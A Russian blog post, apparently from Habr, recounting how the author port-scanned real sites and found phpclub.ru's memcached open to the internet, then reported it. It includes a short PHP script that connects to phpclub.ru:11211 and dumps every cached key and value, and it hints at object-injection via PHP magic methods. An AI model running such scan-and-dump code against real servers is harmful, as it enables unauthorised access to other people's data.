Как я нашел уязвимость на phpclub.ru

в 9:36, , рубрики: memcache, memcached, php, Веб-разработка, взлом сайта, взлом сервера, информационная безопасность, метки: , , , , ,

Тихим, теплым, вечером разрабатывая систему кэширования через memcached и добавляя сервер меня вдруг посетила мысль.
Как я нашел уязвимость на phpclub.ru

С чего все начиналось

А все началось с того, что я перешел с Debian семейства к семейству RHEL. Примерно неделю назад я первый раз своими руками(не могу сказать что на Ubuntu это было своими руками) поднял сервер для разработки проекта. Я своими руками правил конфиги nginx, apache, php — раньше на Ubuntu все ставилось в пару команд и работало само. Впрочем, правя конфиги, я стал лучше понимать, как оно там все работает. Наверное это меня и подтолкнуло к мысли о memcached.

Поиск цели

Сначала я конечно проэкспериментировал(поставил memcached из rpm и забыл) на своей машине и не был удивлен результатом, так как сама технология подразумевает масштабирование серверами и не предусматривает авторизацию. Но я сильно сомневался, что кто-то оставит такую дыру в реальном проекте. Но мне ничто не мешало проверить это. В качестве сканера портов я использовал nmap. Да простит меня НЛО первым в очереди был habrahabr.ru, но он достойно прошел испытание, а вот попытка номер 4:
Как я нашел уязвимость на phpclub.ru

11211 порт открыт. К действию

Я написал маленький скрипт на локальной машине и успех:
Как я нашел уязвимость на phpclub.ru
Малость доработав скрипт:

Вот и он

$t= new Memcached ();
$t->addServer('phpclub.ru', 11211);
$z=$t->getAllKeys();
foreach($z as $k=>$v){
var_dump($t->get($v));
echo $v,'---',$k,"n";
}

Был получен очень перспективный для хакера результат: все данные были сериализованны. Я принялся анализировать данные, в них мне удалось распознать кеш для меню раздела faq.
А вот и он:

linktracking|i:0;bookmarks|a:5:{i:0;s:11:"((Каталог))";i:1;s:13:"((Изменения))";i:2;s:20:"((НовыеКомментарии))";i:3;s:16:"((Пользователи))";i:4;s:27:"((Регистрация Регистрация))";}bookmarklinks|a:5:{i:0;s:7:"katalog";i:1;s:10:"izmenenija";i:2;s:16:"novyekommentarii";i:3;s:12:"pol_zovateli";i:4;s:12:"registracija";}bookmarksfmt|s:157:"ўўКаталог ==КаталогЇЇ | ўўИзменения ==ИзмененияЇЇ | ўўНовыеКомментарии ==НовыеКомментарииЇЇ | ўўХакИрФсимагущий ==рулит!!!ЇЇ | ўўРегистрация ==РегистрацияЇЇ";show_comments|a:1:{s:24:"qhelp/HowToDisplayErrors";i:0;}'

Честно-честно, он прямо вот так и выглядел! Любые совпадения считать случайностью.
А вот как выглядит страничка с таким кешем:
Как я нашел уязвимость на phpclub.ru

А что дальше?

А что не происходило дальше и как я не применял магические методы toString и destruct рассказано не будет, мораль не в этом ;)
Естественно, я сразу попытался выйти на связь с админом, сообщил об уязвимости и на данный момент она закрыта.

Мораль:
Закрытие порта от внешних сетей не хитрая вещь, но даже джедаи phpclub.ru могут упустить ее из виду. Этот случай, реальный пример из жизни показывающий, что люди могут ошибаться даже в таких казалось бы элементарных, очевидных вещах. Доверяйте безопасность и конфигурирование сервера профессионалам.

И не надейтесь на то, что ваш ip(даже без привязанного к нему домена) адрес не просканируют.

Сотни джедаев habrauser'ов уже в пути, а за ними и армия клонов ботов.
P.S.
И кто знает сколько еще велосипедов построено на просторах интернета и сколько из них закрыли доступ к memcached с внешних ip…
Кто знает…

Автор: mgkirs

Источник

* - обязательные к заполнению поля


https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js